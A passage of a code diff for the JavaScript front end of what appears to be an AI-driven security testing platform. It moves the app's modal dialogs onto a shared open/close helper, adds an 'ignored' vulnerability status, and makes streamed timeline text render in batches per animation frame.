} catch (error) {
|
} catch (error) {
|
||||||
console.error('加载对话列表失败:', error);
|
console.error('加载对话列表失败:', error);
|
||||||
// 错误时使用空数组,不显示错误提示(更友好的用户体验)
|
// 错误时使用空数组,不显示错误提示(更友好的用户体验)
|
||||||
allConversationsForBatch = [];
|
allConversationsForBatch = [];
|
||||||
const modal = document.getElementById('batch-manage-modal');
|
|
||||||
updateBatchManageTitle(0);
|
updateBatchManageTitle(0);
|
||||||
if (modal) {
|
renderBatchConversations();
|
||||||
renderBatchConversations();
|
openAppModal('batch-manage-modal');
|
||||||
modal.style.display = 'flex';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -7369,8 +7499,11 @@ async function deleteSelectedConversations() {
|
|||||||
for (const id of ids) {
|
for (const id of ids) {
|
||||||
await deleteConversation(id, true); // 跳过内部确认,因为批量删除时已经确认过了
|
await deleteConversation(id, true); // 跳过内部确认,因为批量删除时已经确认过了
|
||||||
}
|
}
|
||||||
closeBatchManageModal();
|
// 删除后保持弹窗打开,便于继续管理剩余对话
|
||||||
loadConversationsWithGroups();
|
const selectAll = document.getElementById('batch-select-all');
|
||||||
|
if (selectAll) {
|
||||||
|
selectAll.checked = false;
|
||||||
|
}
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('删除失败:', error);
|
console.error('删除失败:', error);
|
||||||
const failedMsg = typeof window.t === 'function' ? window.t('batchManageModal.deleteFailed') : '删除失败';
|
const failedMsg = typeof window.t === 'function' ? window.t('batchManageModal.deleteFailed') : '删除失败';
|
||||||
@@ -7381,10 +7514,7 @@ async function deleteSelectedConversations() {
|
|||||||
|
|
||||||
// 关闭批量管理模态框
|
// 关闭批量管理模态框
|
||||||
function closeBatchManageModal() {
|
function closeBatchManageModal() {
|
||||||
const modal = document.getElementById('batch-manage-modal');
|
closeAppModal('batch-manage-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
const selectAll = document.getElementById('batch-select-all');
|
const selectAll = document.getElementById('batch-select-all');
|
||||||
if (selectAll) {
|
if (selectAll) {
|
||||||
selectAll.checked = false;
|
selectAll.checked = false;
|
||||||
@@ -7424,8 +7554,7 @@ function refreshChatPanelI18n() {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
const mcpModal = document.getElementById('mcp-detail-modal');
|
if (isAppModalOpen('mcp-detail-modal')) {
|
||||||
if (mcpModal && mcpModal.style.display === 'block') {
|
|
||||||
const detailTimeEl = document.getElementById('detail-time');
|
const detailTimeEl = document.getElementById('detail-time');
|
||||||
if (detailTimeEl && detailTimeEl.dataset.detailTimeIso) {
|
if (detailTimeEl && detailTimeEl.dataset.detailTimeIso) {
|
||||||
try {
|
try {
|
||||||
@@ -7447,7 +7576,7 @@ document.addEventListener('languagechange', function () {
|
|||||||
refreshSystemReadyMessageBubbles();
|
refreshSystemReadyMessageBubbles();
|
||||||
refreshChatPanelI18n();
|
refreshChatPanelI18n();
|
||||||
const modal = document.getElementById('batch-manage-modal');
|
const modal = document.getElementById('batch-manage-modal');
|
||||||
if (modal && modal.style.display === 'flex') {
|
if (isAppModalOpen('batch-manage-modal')) {
|
||||||
updateBatchManageTitle(allConversationsForBatch.length);
|
updateBatchManageTitle(allConversationsForBatch.length);
|
||||||
}
|
}
|
||||||
// 侧边栏最近对话等列表的时间戳会随语言变化(24h/12h 等),重新拉列表以统一格式
|
// 侧边栏最近对话等列表的时间戳会随语言变化(24h/12h 等),重新拉列表以统一格式
|
||||||
@@ -7482,20 +7611,14 @@ function showCreateGroupModal(andMoveConversation = false) {
|
|||||||
iconPicker.style.display = 'none';
|
iconPicker.style.display = 'none';
|
||||||
}
|
}
|
||||||
if (modal) {
|
if (modal) {
|
||||||
modal.style.display = 'flex';
|
openAppModal('create-group-modal', { focusEl: input });
|
||||||
modal.dataset.moveConversation = andMoveConversation ? 'true' : 'false';
|
modal.dataset.moveConversation = andMoveConversation ? 'true' : 'false';
|
||||||
if (input) {
|
|
||||||
setTimeout(() => input.focus(), 100);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭创建分组模态框
|
// 关闭创建分组模态框
|
||||||
function closeCreateGroupModal() {
|
function closeCreateGroupModal() {
|
||||||
const modal = document.getElementById('create-group-modal');
|
closeAppModal('create-group-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
const input = document.getElementById('create-group-name-input');
|
const input = document.getElementById('create-group-name-input');
|
||||||
if (input) {
|
if (input) {
|
||||||
input.value = '';
|
input.value = '';
|
||||||
|
|||||||
@@ -131,7 +131,7 @@ async function refreshDashboard() {
|
|||||||
openVulnQuery('low'),
|
openVulnQuery('low'),
|
||||||
// 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。
|
// 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。
|
||||||
// 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。
|
// 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。
|
||||||
fetchJson('/api/config/tools?page=1&page_size=1'),
|
fetchJson('/api/config/tools?page=1&page_size=1&include_external=false'),
|
||||||
// HITL 待审批:用于「需要立即处理」告警条 + 推荐操作
|
// HITL 待审批:用于「需要立即处理」告警条 + 推荐操作
|
||||||
fetchJson('/api/hitl/pending'),
|
fetchJson('/api/hitl/pending'),
|
||||||
// 通知摘要:since=0 拿最新一批,limit 控制大小;用于「最近事件」内联展示
|
// 通知摘要:since=0 拿最新一批,limit 控制大小;用于「最近事件」内联展示
|
||||||
@@ -1459,6 +1459,7 @@ function statusKey(s) {
|
|||||||
if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed';
|
if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed';
|
||||||
if (s === 'confirmed') return 'confirmed';
|
if (s === 'confirmed') return 'confirmed';
|
||||||
if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp';
|
if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp';
|
||||||
|
if (s === 'ignored') return 'ignored';
|
||||||
return 'open';
|
return 'open';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1467,6 +1468,7 @@ function statusShortLabel(s) {
|
|||||||
if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复');
|
if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复');
|
||||||
if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认');
|
if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认');
|
||||||
if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报');
|
if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报');
|
||||||
|
if (k === 'ignored') return dt('dashboard.statusIgnored', null, '已忽略');
|
||||||
return dt('dashboard.statusOpen', null, '待处理');
|
return dt('dashboard.statusOpen', null, '待处理');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -344,7 +344,9 @@ function showFofaParseModal(nlText, parsed) {
|
|||||||
const modal = document.createElement('div');
|
const modal = document.createElement('div');
|
||||||
modal.id = 'fofa-parse-modal';
|
modal.id = 'fofa-parse-modal';
|
||||||
modal.className = 'modal';
|
modal.className = 'modal';
|
||||||
modal.style.display = 'block';
|
document.body.appendChild(modal);
|
||||||
|
openAppModal(modal, { focus: false });
|
||||||
|
deferModalContent(function () {
|
||||||
modal.innerHTML = `
|
modal.innerHTML = `
|
||||||
<div class="modal-content" style="max-width: 900px;">
|
<div class="modal-content" style="max-width: 900px;">
|
||||||
<div class="modal-header">
|
<div class="modal-header">
|
||||||
@@ -384,24 +386,24 @@ function showFofaParseModal(nlText, parsed) {
|
|||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
document.body.appendChild(modal);
|
|
||||||
|
|
||||||
const queryTextarea = document.getElementById('fofa-parse-query');
|
const queryTextarea = document.getElementById('fofa-parse-query');
|
||||||
if (queryTextarea) {
|
if (queryTextarea) {
|
||||||
queryTextarea.value = (parsed?.query || '').trim();
|
queryTextarea.value = (parsed?.query || '').trim();
|
||||||
setTimeout(() => {
|
queryTextarea.focus();
|
||||||
try { queryTextarea.focus(); } catch (e) { /* ignore */ }
|
|
||||||
}, 0);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const close = () => modal.remove();
|
const close = function () {
|
||||||
modal.addEventListener('click', (e) => {
|
closeAppModal(modal);
|
||||||
|
modal.remove();
|
||||||
|
syncAppModalBodyLock();
|
||||||
|
};
|
||||||
|
modal.addEventListener('click', function (e) {
|
||||||
if (e.target === modal) close();
|
if (e.target === modal) close();
|
||||||
});
|
});
|
||||||
document.getElementById('fofa-parse-modal-close')?.addEventListener('click', close);
|
document.getElementById('fofa-parse-modal-close')?.addEventListener('click', close);
|
||||||
document.getElementById('fofa-parse-cancel')?.addEventListener('click', close);
|
document.getElementById('fofa-parse-cancel')?.addEventListener('click', close);
|
||||||
|
|
||||||
const applyToQuery = (run) => {
|
const applyToQuery = function (run) {
|
||||||
const els = getFofaFormElements();
|
const els = getFofaFormElements();
|
||||||
const q = (queryTextarea?.value || '').trim();
|
const q = (queryTextarea?.value || '').trim();
|
||||||
if (!q) {
|
if (!q) {
|
||||||
@@ -435,6 +437,7 @@ function showFofaParseModal(nlText, parsed) {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
document.addEventListener('keydown', onKey);
|
document.addEventListener('keydown', onKey);
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function setFofaMeta(text) {
|
function setFofaMeta(text) {
|
||||||
@@ -1091,8 +1094,13 @@ function showCellDetailModal(field, fullText) {
|
|||||||
`;
|
`;
|
||||||
|
|
||||||
document.body.appendChild(modal);
|
document.body.appendChild(modal);
|
||||||
|
openAppModal(modal);
|
||||||
|
|
||||||
const close = () => modal.remove();
|
const close = function () {
|
||||||
|
closeAppModal(modal);
|
||||||
|
modal.remove();
|
||||||
|
syncAppModalBodyLock();
|
||||||
|
};
|
||||||
modal.addEventListener('click', (e) => {
|
modal.addEventListener('click', (e) => {
|
||||||
if (e.target === modal) close();
|
if (e.target === modal) close();
|
||||||
});
|
});
|
||||||
|
|||||||
+24
-20
@@ -905,25 +905,32 @@ function showAddKnowledgeItemModal() {
|
|||||||
document.getElementById('knowledge-item-category').value = '';
|
document.getElementById('knowledge-item-category').value = '';
|
||||||
document.getElementById('knowledge-item-title').value = '';
|
document.getElementById('knowledge-item-title').value = '';
|
||||||
document.getElementById('knowledge-item-content').value = '';
|
document.getElementById('knowledge-item-content').value = '';
|
||||||
document.getElementById('knowledge-item-modal').style.display = 'block';
|
openAppModal('knowledge-item-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑知识项
|
// 编辑知识项
|
||||||
async function editKnowledgeItem(id) {
|
async function editKnowledgeItem(id) {
|
||||||
try {
|
try {
|
||||||
|
currentEditingItemId = id;
|
||||||
|
document.getElementById('knowledge-item-modal-title').textContent = '编辑知识';
|
||||||
|
document.getElementById('knowledge-item-category').value = '';
|
||||||
|
document.getElementById('knowledge-item-title').value = '';
|
||||||
|
document.getElementById('knowledge-item-content').value = '';
|
||||||
|
openAppModal('knowledge-item-modal', { focus: false });
|
||||||
const response = await apiFetch(`/api/knowledge/items/${id}`);
|
const response = await apiFetch(`/api/knowledge/items/${id}`);
|
||||||
if (!response.ok) {
|
if (!response.ok) {
|
||||||
throw new Error('获取知识项失败');
|
throw new Error('获取知识项失败');
|
||||||
}
|
}
|
||||||
const item = await response.json();
|
const item = await response.json();
|
||||||
|
deferModalContent(() => {
|
||||||
currentEditingItemId = id;
|
document.getElementById('knowledge-item-category').value = item.category;
|
||||||
document.getElementById('knowledge-item-modal-title').textContent = '编辑知识';
|
document.getElementById('knowledge-item-title').value = item.title;
|
||||||
document.getElementById('knowledge-item-category').value = item.category;
|
document.getElementById('knowledge-item-content').value = item.content;
|
||||||
document.getElementById('knowledge-item-title').value = item.title;
|
document.getElementById('knowledge-item-title')?.focus();
|
||||||
document.getElementById('knowledge-item-content').value = item.content;
|
});
|
||||||
document.getElementById('knowledge-item-modal').style.display = 'block';
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeAppModal('knowledge-item-modal');
|
||||||
|
currentEditingItemId = null;
|
||||||
console.error('编辑知识项失败:', error);
|
console.error('编辑知识项失败:', error);
|
||||||
showNotification('编辑知识项失败: ' + error.message, 'error');
|
showNotification('编辑知识项失败: ' + error.message, 'error');
|
||||||
}
|
}
|
||||||
@@ -1232,10 +1239,7 @@ function updateKnowledgeStatsAfterDelete() {
|
|||||||
|
|
||||||
// 关闭知识项模态框
|
// 关闭知识项模态框
|
||||||
function closeKnowledgeItemModal() {
|
function closeKnowledgeItemModal() {
|
||||||
const modal = document.getElementById('knowledge-item-modal');
|
closeAppModal('knowledge-item-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重置编辑状态
|
// 重置编辑状态
|
||||||
currentEditingItemId = null;
|
currentEditingItemId = null;
|
||||||
@@ -1786,8 +1790,11 @@ function showRetrievalLogDetailsModal(log, retrievedItems) {
|
|||||||
document.body.appendChild(modal);
|
document.body.appendChild(modal);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 填充内容
|
|
||||||
const content = document.getElementById('retrieval-log-details-content');
|
const content = document.getElementById('retrieval-log-details-content');
|
||||||
|
if (content) content.innerHTML = '<p style="color:#64748b;margin:0;">…</p>';
|
||||||
|
openAppModal(modal, { focus: false });
|
||||||
|
|
||||||
|
deferModalContent(() => {
|
||||||
const timeAgo = getTimeAgo(log.createdAt);
|
const timeAgo = getTimeAgo(log.createdAt);
|
||||||
const fullTime = formatTime(log.createdAt);
|
const fullTime = formatTime(log.createdAt);
|
||||||
|
|
||||||
@@ -1880,16 +1887,12 @@ function showRetrievalLogDetailsModal(log, retrievedItems) {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
|
});
|
||||||
modal.style.display = 'block';
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭检索日志详情模态框
|
// 关闭检索日志详情模态框
|
||||||
function closeRetrievalLogDetailsModal() {
|
function closeRetrievalLogDetailsModal() {
|
||||||
const modal = document.getElementById('retrieval-log-details-modal');
|
closeAppModal('retrieval-log-details-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 点击模态框外部关闭
|
// 点击模态框外部关闭
|
||||||
@@ -2118,7 +2121,8 @@ function showToastNotification(message, type = 'info') {
|
|||||||
font-size: 0.875rem;
|
font-size: 0.875rem;
|
||||||
line-height: 1.45;
|
line-height: 1.45;
|
||||||
word-wrap: break-word;
|
word-wrap: break-word;
|
||||||
backdrop-filter: blur(8px);
|
backdrop-filter: none;
|
||||||
|
-webkit-backdrop-filter: none;
|
||||||
`;
|
`;
|
||||||
|
|
||||||
toast.innerHTML = `
|
toast.innerHTML = `
|
||||||
|
|||||||
@@ -0,0 +1,92 @@
|
|||||||
|
/**
|
||||||
|
* 统一弹窗:先显示遮罩、下一帧再填大段内容,避免与 backdrop 绘制抢主线程。
|
||||||
|
*/
|
||||||
|
(function () {
|
||||||
|
const BODY_LOCK = 'app-modal-open';
|
||||||
|
const LEGACY_BODY_LOCK = 'projects-modal-open';
|
||||||
|
const OVERLAY_SELECTOR =
|
||||||
|
'.projects-modal-overlay, .c2-modal-overlay, .modal, .info-collect-cell-modal, #login-overlay';
|
||||||
|
|
||||||
|
const FLEX_MODAL_IDS = new Set([
|
||||||
|
'role-modal',
|
||||||
|
'skill-modal',
|
||||||
|
'agent-md-modal',
|
||||||
|
'batch-manage-modal',
|
||||||
|
'create-group-modal',
|
||||||
|
'login-overlay',
|
||||||
|
]);
|
||||||
|
|
||||||
|
function resolveEl(idOrEl) {
|
||||||
|
if (!idOrEl) return null;
|
||||||
|
return typeof idOrEl === 'string' ? document.getElementById(idOrEl) : idOrEl;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isElVisible(el) {
|
||||||
|
if (!el) return false;
|
||||||
|
const s = window.getComputedStyle(el);
|
||||||
|
return s.display !== 'none' && s.visibility !== 'hidden';
|
||||||
|
}
|
||||||
|
|
||||||
|
function defaultDisplay(el) {
|
||||||
|
if (el.classList.contains('projects-modal-overlay') || el.classList.contains('c2-modal-overlay')) {
|
||||||
|
return 'flex';
|
||||||
|
}
|
||||||
|
if (el.classList.contains('info-collect-cell-modal')) {
|
||||||
|
return 'flex';
|
||||||
|
}
|
||||||
|
if (FLEX_MODAL_IDS.has(el.id)) {
|
||||||
|
return 'flex';
|
||||||
|
}
|
||||||
|
return 'block';
|
||||||
|
}
|
||||||
|
|
||||||
|
function syncBodyLock() {
|
||||||
|
const anyOpen = Array.from(document.querySelectorAll(OVERLAY_SELECTOR)).some(isElVisible);
|
||||||
|
document.body.classList.toggle(BODY_LOCK, anyOpen);
|
||||||
|
const projectsOpen = Array.from(document.querySelectorAll('.projects-modal-overlay')).some(isElVisible);
|
||||||
|
document.body.classList.toggle(LEGACY_BODY_LOCK, projectsOpen);
|
||||||
|
}
|
||||||
|
|
||||||
|
function openAppModal(idOrEl, opts) {
|
||||||
|
opts = opts || {};
|
||||||
|
const el = resolveEl(idOrEl);
|
||||||
|
if (!el) return null;
|
||||||
|
el.style.display = opts.display || defaultDisplay(el);
|
||||||
|
syncBodyLock();
|
||||||
|
if (opts.focus === false) return el;
|
||||||
|
const sel =
|
||||||
|
opts.focusSelector ||
|
||||||
|
'input.form-input, textarea.form-input, select.form-input, input:not([type="hidden"]):not([disabled]), textarea:not([disabled]), select:not([disabled])';
|
||||||
|
const focusTarget = opts.focusEl || el.querySelector(sel);
|
||||||
|
if (focusTarget) {
|
||||||
|
requestAnimationFrame(function () {
|
||||||
|
focusTarget.focus();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return el;
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeAppModal(idOrEl) {
|
||||||
|
const el = resolveEl(idOrEl);
|
||||||
|
if (el) el.style.display = 'none';
|
||||||
|
syncBodyLock();
|
||||||
|
return el;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isAppModalOpen(idOrEl) {
|
||||||
|
return isElVisible(resolveEl(idOrEl));
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 双 rAF:等遮罩绘制完成后再写入大段 DOM / 表单 */
|
||||||
|
function deferModalContent(fn) {
|
||||||
|
requestAnimationFrame(function () {
|
||||||
|
requestAnimationFrame(fn);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
window.openAppModal = openAppModal;
|
||||||
|
window.closeAppModal = closeAppModal;
|
||||||
|
window.isAppModalOpen = isAppModalOpen;
|
||||||
|
window.deferModalContent = deferModalContent;
|
||||||
|
window.syncAppModalBodyLock = syncBodyLock;
|
||||||
|
})();
|
||||||
+282
-108
@@ -31,6 +31,25 @@ function shouldSkipTaskEventReplayAttach(conversationId) {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
/** 监控页展示:内部 mcp::tool → 模型侧 mcp__tool */
|
||||||
|
function formatMonitorToolName(name) {
|
||||||
|
if (!name || typeof name !== 'string') return name || '';
|
||||||
|
return name.includes('::') ? name.replace('::', '__') : name;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 筛选/API:mcp__tool → 内部 mcp::tool(与库存一致) */
|
||||||
|
function canonicalMonitorToolName(name) {
|
||||||
|
if (!name || typeof name !== 'string') return name || '';
|
||||||
|
if (name.includes('::')) return name;
|
||||||
|
const idx = name.indexOf('__');
|
||||||
|
if (idx > 0) return `${name.slice(0, idx)}::${name.slice(idx + 2)}`;
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
function monitorToolNamesEqual(a, b) {
|
||||||
|
return canonicalMonitorToolName(a) === canonicalMonitorToolName(b);
|
||||||
|
}
|
||||||
|
|
||||||
if (typeof window !== 'undefined') {
|
if (typeof window !== 'undefined') {
|
||||||
window.shouldSkipTaskEventReplayAttach = shouldSkipTaskEventReplayAttach;
|
window.shouldSkipTaskEventReplayAttach = shouldSkipTaskEventReplayAttach;
|
||||||
}
|
}
|
||||||
@@ -153,6 +172,59 @@ function einoMainStreamPlanningTitle(responseData) {
|
|||||||
return prefix + '📝 ' + plan;
|
return prefix + '📝 ' + plan;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 主通道 response 结束时:将流式占位条目固化为 planning(与后端 flushResponsePlan 落库类型一致),
|
||||||
|
* 避免 integrateProgressToMCPSection 快照前删除占位导致「助手输出」仅刷新后才出现。
|
||||||
|
*/
|
||||||
|
function finalizeMainResponseStreamItem(streamState, finalMessage, responseData) {
|
||||||
|
if (!streamState || !streamState.itemId) return false;
|
||||||
|
const item = document.getElementById(streamState.itemId);
|
||||||
|
if (!item || !item.parentNode) return false;
|
||||||
|
|
||||||
|
const fullText = (finalMessage != null && String(finalMessage).trim() !== '')
|
||||||
|
? String(finalMessage)
|
||||||
|
: (streamState.buffer || '');
|
||||||
|
if (!String(fullText).trim()) {
|
||||||
|
item.parentNode.removeChild(item);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const meta = Object.assign({}, streamState.streamMeta || {}, responseData || {});
|
||||||
|
|
||||||
|
item.classList.remove('timeline-item-thinking');
|
||||||
|
item.classList.add('timeline-item-planning');
|
||||||
|
item.dataset.timelineType = 'planning';
|
||||||
|
delete item.dataset.responseStreamPlaceholder;
|
||||||
|
if (meta.orchestration != null && String(meta.orchestration).trim() !== '') {
|
||||||
|
item.dataset.orchestration = String(meta.orchestration).trim();
|
||||||
|
}
|
||||||
|
if (meta.einoAgent != null && String(meta.einoAgent).trim() !== '') {
|
||||||
|
item.dataset.einoAgent = String(meta.einoAgent).trim();
|
||||||
|
}
|
||||||
|
|
||||||
|
const titleEl = item.querySelector('.timeline-item-title');
|
||||||
|
if (titleEl && typeof einoMainStreamPlanningTitle === 'function') {
|
||||||
|
titleEl.textContent = einoMainStreamPlanningTitle(meta);
|
||||||
|
}
|
||||||
|
|
||||||
|
let contentEl = item.querySelector('.timeline-item-content');
|
||||||
|
if (!contentEl) {
|
||||||
|
contentEl = document.createElement('div');
|
||||||
|
contentEl.className = 'timeline-item-content';
|
||||||
|
item.appendChild(contentEl);
|
||||||
|
}
|
||||||
|
flushStreamPlainTextUpdate(contentEl);
|
||||||
|
const body = typeof formatTimelineStreamBody === 'function'
|
||||||
|
? formatTimelineStreamBody(fullText, meta)
|
||||||
|
: fullText;
|
||||||
|
if (typeof formatMarkdown === 'function') {
|
||||||
|
setTimelineItemContentStreamRich(contentEl, formatMarkdown(body, timelineMarkdownOpts));
|
||||||
|
} else {
|
||||||
|
setTimelineItemContentStreamPlain(contentEl, body);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
function translateProgressMessage(message, data) {
|
function translateProgressMessage(message, data) {
|
||||||
if (!message || typeof message !== 'string') return message;
|
if (!message || typeof message !== 'string') return message;
|
||||||
if (typeof window.t !== 'function') return message;
|
if (typeof window.t !== 'function') return message;
|
||||||
@@ -205,6 +277,7 @@ if (typeof window !== 'undefined') {
|
|||||||
window.translateProgressMessage = translateProgressMessage;
|
window.translateProgressMessage = translateProgressMessage;
|
||||||
window.translatePlanExecuteAgentName = translatePlanExecuteAgentName;
|
window.translatePlanExecuteAgentName = translatePlanExecuteAgentName;
|
||||||
window.einoMainStreamPlanningTitle = einoMainStreamPlanningTitle;
|
window.einoMainStreamPlanningTitle = einoMainStreamPlanningTitle;
|
||||||
|
window.finalizeMainResponseStreamItem = finalizeMainResponseStreamItem;
|
||||||
window.formatTimelineStreamBody = formatTimelineStreamBody;
|
window.formatTimelineStreamBody = formatTimelineStreamBody;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -638,18 +711,126 @@ function mergeStreamBuffer(current, delta, data) {
|
|||||||
if (typeof window !== 'undefined') {
|
if (typeof window !== 'undefined') {
|
||||||
window.streamBufferFromAccumulated = streamBufferFromAccumulated;
|
window.streamBufferFromAccumulated = streamBufferFromAccumulated;
|
||||||
window.mergeStreamBuffer = mergeStreamBuffer;
|
window.mergeStreamBuffer = mergeStreamBuffer;
|
||||||
|
window.processSseDataLinesYielding = processSseDataLinesYielding;
|
||||||
|
window.flushStreamPlainTextUpdate = flushStreamPlainTextUpdate;
|
||||||
|
window.scheduleStreamPlainTextUpdate = scheduleStreamPlainTextUpdate;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 流式纯文本 DOM:按帧合并更新,尽量增量 appendData,避免每条 SSE 全量 textContent 阻塞主线程 */
|
||||||
|
const streamPlainDomState = new WeakMap();
|
||||||
|
/** 跟踪仍有待刷新的流式节点,便于快照时间线前一次性 flush */
|
||||||
|
const streamPlainDomPendingElements = new Set();
|
||||||
|
|
||||||
|
function applyStreamPlainTextNow(contentEl, text, state) {
|
||||||
|
if (!contentEl) return;
|
||||||
|
const full = text == null ? '' : String(text);
|
||||||
|
const prevLen = state && state.renderedLen ? state.renderedLen : 0;
|
||||||
|
contentEl.classList.add('timeline-stream-plain');
|
||||||
|
|
||||||
|
if (full.length > prevLen && contentEl.childNodes.length === 1 &&
|
||||||
|
contentEl.firstChild && contentEl.firstChild.nodeType === Node.TEXT_NODE) {
|
||||||
|
const existing = contentEl.firstChild.nodeValue || '';
|
||||||
|
if (existing.length === prevLen && full.startsWith(existing)) {
|
||||||
|
const delta = full.slice(prevLen);
|
||||||
|
if (delta) {
|
||||||
|
contentEl.firstChild.appendData(delta);
|
||||||
|
if (state) {
|
||||||
|
state.renderedLen = full.length;
|
||||||
|
state.pendingText = full;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
contentEl.textContent = full;
|
||||||
|
if (state) {
|
||||||
|
state.renderedLen = full.length;
|
||||||
|
state.pendingText = full;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function flushStreamPlainTextUpdate(contentEl) {
|
||||||
|
if (!contentEl) return;
|
||||||
|
const state = streamPlainDomState.get(contentEl);
|
||||||
|
if (!state) return;
|
||||||
|
if (state.rafId) {
|
||||||
|
cancelAnimationFrame(state.rafId);
|
||||||
|
state.rafId = 0;
|
||||||
|
}
|
||||||
|
applyStreamPlainTextNow(contentEl, state.pendingText, state);
|
||||||
|
}
|
||||||
|
|
||||||
|
function scheduleStreamPlainTextUpdate(contentEl, text) {
|
||||||
|
if (!contentEl) return;
|
||||||
|
const full = text == null ? '' : String(text);
|
||||||
|
let state = streamPlainDomState.get(contentEl);
|
||||||
|
if (!state) {
|
||||||
|
state = { pendingText: full, rafId: 0, renderedLen: 0 };
|
||||||
|
streamPlainDomState.set(contentEl, state);
|
||||||
|
} else {
|
||||||
|
state.pendingText = full;
|
||||||
|
}
|
||||||
|
streamPlainDomPendingElements.add(contentEl);
|
||||||
|
if (state.rafId) return;
|
||||||
|
state.rafId = requestAnimationFrame(function () {
|
||||||
|
state.rafId = 0;
|
||||||
|
applyStreamPlainTextNow(contentEl, state.pendingText, state);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function resetStreamPlainTextState(contentEl) {
|
||||||
|
if (!contentEl) return;
|
||||||
|
const state = streamPlainDomState.get(contentEl);
|
||||||
|
if (state && state.rafId) {
|
||||||
|
cancelAnimationFrame(state.rafId);
|
||||||
|
}
|
||||||
|
streamPlainDomState.delete(contentEl);
|
||||||
|
streamPlainDomPendingElements.delete(contentEl);
|
||||||
|
}
|
||||||
|
|
||||||
|
function flushAllPendingStreamPlainUpdates() {
|
||||||
|
streamPlainDomPendingElements.forEach(function (el) {
|
||||||
|
if (el && el.isConnected) {
|
||||||
|
flushStreamPlainTextUpdate(el);
|
||||||
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 流式 delta:纯文本,避免每条全量 marked + DOMPurify */
|
/** 流式 delta:纯文本,避免每条全量 marked + DOMPurify */
|
||||||
function setTimelineItemContentStreamPlain(contentEl, text) {
|
function setTimelineItemContentStreamPlain(contentEl, text) {
|
||||||
if (!contentEl) return;
|
if (!contentEl) return;
|
||||||
contentEl.classList.add('timeline-stream-plain');
|
resetStreamPlainTextState(contentEl);
|
||||||
contentEl.textContent = text == null ? '' : String(text);
|
applyStreamPlainTextNow(contentEl, text, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 分批处理 SSE data 行并在批间让出主线程,避免单次 read() 内数百条事件连续阻塞 UI。
|
||||||
|
* @param {string[]} lines
|
||||||
|
* @param {(event: object) => void} onEvent
|
||||||
|
* @param {{ yieldEvery?: number }} [options]
|
||||||
|
*/
|
||||||
|
async function processSseDataLinesYielding(lines, onEvent, options) {
|
||||||
|
const yieldEvery = (options && options.yieldEvery) || 32;
|
||||||
|
for (let i = 0; i < lines.length; i++) {
|
||||||
|
const line = lines[i];
|
||||||
|
if (line.startsWith('data: ')) {
|
||||||
|
try {
|
||||||
|
onEvent(JSON.parse(line.slice(6)));
|
||||||
|
} catch (e) {
|
||||||
|
console.error('解析事件数据失败:', e, line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((i + 1) % yieldEvery === 0 && i + 1 < lines.length) {
|
||||||
|
